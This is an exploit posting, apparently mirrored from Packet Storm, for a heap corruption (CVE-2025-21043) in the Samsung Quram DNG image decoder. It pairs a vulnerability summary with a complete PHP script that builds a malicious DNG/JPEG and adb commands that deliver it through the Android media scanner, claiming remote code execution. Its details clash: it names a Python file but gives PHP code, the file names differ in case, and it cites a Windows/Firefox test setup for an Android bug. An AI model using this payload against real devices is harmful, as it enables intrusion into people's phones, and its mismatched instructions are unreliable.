Share
## https://sploitus.com/exploit?id=PACKETSTORM:215127
=============================================================================================================================================
    | # Title     : Samsung Quram DNG Heap Corruption via Malformed ScalePerColumn Opcode                                                       |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : System built‑in component. No standalone download available.                                                                |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/211370/ & CVE-2025-21043
    
    [+] Summary : Samsung devices utilize Quram’s DNG decoder. A malformed ScalePerColumn opcode with oversized areaSpec and extreme pitches leads to arithmetic overflow in
                  the per-column scaling loop. After allocation miscalculation, subsequent writes corrupt heap structures. 
    			  Carefully crafted payloads enable control over free()function pointers, leading to fully controlled execution.
    
    [+] Impact
    
    Heap metadata & function pointer overwrite β†’ Remote Code Execution.
    
    ###############################################################################
    PoC highlights:
    - Takes a valid DNG template.
    - Injects ScalePerColumn opcode ID 42 with malicious parameters.
    - Forced overwrite due to uncontrolled scale-array computation.
    - Deliverable via Android media scanner.
    
    Save PoC as:
        exploit.py
        template.dng
    
    Run:
        python3 exploit.py
        adb push PoC1.jpeg /sdcard/
        adb shell am broadcast -a android.intent.action.MEDIA_SCANNER_SCAN_FILE \
           -d file:///sdcard/PoC1.jpeg
    
    ###############################################################################
    Affected:
    - Samsung devices using libimagecodec.quram.so
    - Android versions 13–16
    - Patch levels older than September 2025
    
    Impact:
    - Heap metadata corruption
    - Function pointer overwrite
    - Controlled RCE in Quram image decoding pipeline
    
    ###############################################################################
    Technical:
    The ScalePerColumn opcode (ID 42) accepts an areaSpec followed by a
    variable-length scaling array. Due to lack of integer sanitization, an extreme
    left offset combined with huge column pitch results in an incorrect scale_count
    and massive allocation mismatch. Writes overflow heap chunks, overwriting allocator
    metadata and indirect function pointers.
    
    PoC:
    - Injects crafted opcode at arbitrary IFD offset.
    - Builds malicious areaSpec.
    - Forces memory overwrite during scaling loop.
    
    ###############################################################################
    How To Save:
    1) Save files:
           template.dng
           exploit.py
    
    How To Run:
        php poc.php
        adb push PoC1.jpeg /sdcard/
        adb shell am broadcast -a android.intent.action.MEDIA_SCANNER_SCAN_FILE \
            -d file:///sdcard/PoC1.jpeg
    
    Expected Result:
    Quram decoder processes malformed opcode β†’ heap corruption triggered.
    
    [+]  POC : 
    
    <?php
    
    
    function u32($v, $little=true){
        return pack($little?"V":"N", $v);
    }
    
    function i32($v, $little=true){
        return pack($little?"V":"N", $v);
    }
    
    function f32($f, $little=true){
        return $little ? pack("g",$f) : pack("G",$f);
    }
    
    function create_minimal_dng(){
        $d = "";
        $d.= "II*\x00";            // TIFF header
        $d.= u32(8);               // First IFD offset
    
        $d.= pack("v",1);          // Num entries
        $d.= pack("v",254);        // Tag
        $d.= pack("v",4);
        $d.= u32(1);
        $d.= u32(0);
        $d.= u32(0);
        return $d;
    }
    
    function find_or_create_opcode_offset(&$tmpl){
        $ifd = unpack("V",substr($tmpl,4,4))[1];
        while($ifd != 0 && $ifd < strlen($tmpl)){
            $n = unpack("v",substr($tmpl,$ifd,2))[1];
            for($i=0;$i<$n;$i++){
                $o = $ifd+2+($i*12);
                $tag = unpack("v",substr($tmpl,$o,2))[1];
                if($tag == 0xC74D){
                    $cnt = unpack("V",substr($tmpl,$o+4,4))[1];
                    $off = unpack("V",substr($tmpl,$o+8,4))[1];
                    return [$off,$cnt];
                }
            }
            $ifd = unpack("V",substr($tmpl,$ifd+2+($n*12),4))[1];
        }
    
        $new = strlen($tmpl);
        $ifd = "";
        $ifd .= pack("v",1);
        $ifd .= pack("v",0xC74D);
        $ifd .= pack("v",4);
        $cntOffset = strlen($ifd);
        $ifd .= u32(0);
        $opcodeDataOffset = $new + strlen($ifd) + 4;
        $ifd .= u32($opcodeDataOffset);
        $ifd .= u32(0);
        $tmpl .= $ifd;
        return [$opcodeDataOffset,0];
    }
    
    function build_malicious($spec){
        $out = "";
        $out .= u32(42);     // opcode ID ScalePerColumn
    
        $areaSpec = 28;
        $scaleData = 1024;
        $tot = $areaSpec + 4 + $scaleData;
        $out .= u32($tot);
    
        $out .= i32($spec['l']);
        $out .= i32($spec['t']);
        $out .= i32($spec['r']);
        $out .= i32($spec['b']);
        $out .= u32($spec['fPlane']);
        $out .= u32($spec['fPlanes']);
        $out .= u32($spec['row_pitch']);
        $out .= u32($spec['col_pitch']);
    
        $col = ($spec['r'] - $spec['l']) / $spec['col_pitch'];
        if($col <=0) $col = 1;
        $out .= u32($col);
    
        for($i=0;$i<$col;$i++)
            $out .= f32(2.0);
    
        while(strlen($out) < $areaSpec+4+$scaleData)
            $out .= "\x00";
    
        return $out;
    }
    
    function inject_opcode(&$tmpl,$offset,$data,$count){
        if($offset >= strlen($tmpl)){
            $tmpl = str_pad($tmpl,$offset,"\0");
            $tmpl .= $data;
        } else {
            $tmpl = substr_replace($tmpl,$data,$offset);
        }
    
        $ifd = unpack("V",substr($tmpl,4,4))[1];
        while($ifd != 0){
            $n = unpack("v",substr($tmpl,$ifd,2))[1];
            for($i=0;$i<$n;$i++){
                $o = $ifd+2+($i*12);
                $tag = unpack("v",substr($tmpl,$o,2))[1];
                if($tag == 0xC74D){
                    $new = u32($count+1);
                    $tmpl = substr_replace($tmpl,$new,$o+4,4);
                    return;
                }
            }
            $ifd = unpack("V",substr($tmpl,$ifd+2+($n*12),4))[1];
        }
    }
    
    $templ = "template.dng";
    if(!file_exists($templ)){
        file_put_contents($templ, create_minimal_dng());
    }
    $t = file_get_contents($templ);
    
    $spec = [
     'l'=>-2147483644,
     'r'=>3,
     't'=>0,
     'b'=>236,
     'col_pitch'=>2147483646,
     'row_pitch'=>1,
     'fPlane'=>0,
     'fPlanes'=>3
    ];
    
    list($off,$cnt) = find_or_create_opcode_offset($t);
    $data = build_malicious($spec);
    
    // append if existing opcodes
    $inject = $off;
    if($cnt > 0){
        $p = $off;
        for($i=0;$i<$cnt;$i++){
            $id  = unpack("V",substr($t,$p,4))[1];
            $sz  = unpack("V",substr($t,$p+4,4))[1];
            $p  += 8+$sz;
        }
        $inject = $p;
    }
    
    inject_opcode($t,$inject,$data,$cnt);
    
    file_put_contents("exploit.dng",$t);
    copy("exploit.dng","Poc1.jpeg");
    
    echo "[+] Generated exploit.dng and Poc1.jpeg\n";
    ?>
    
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================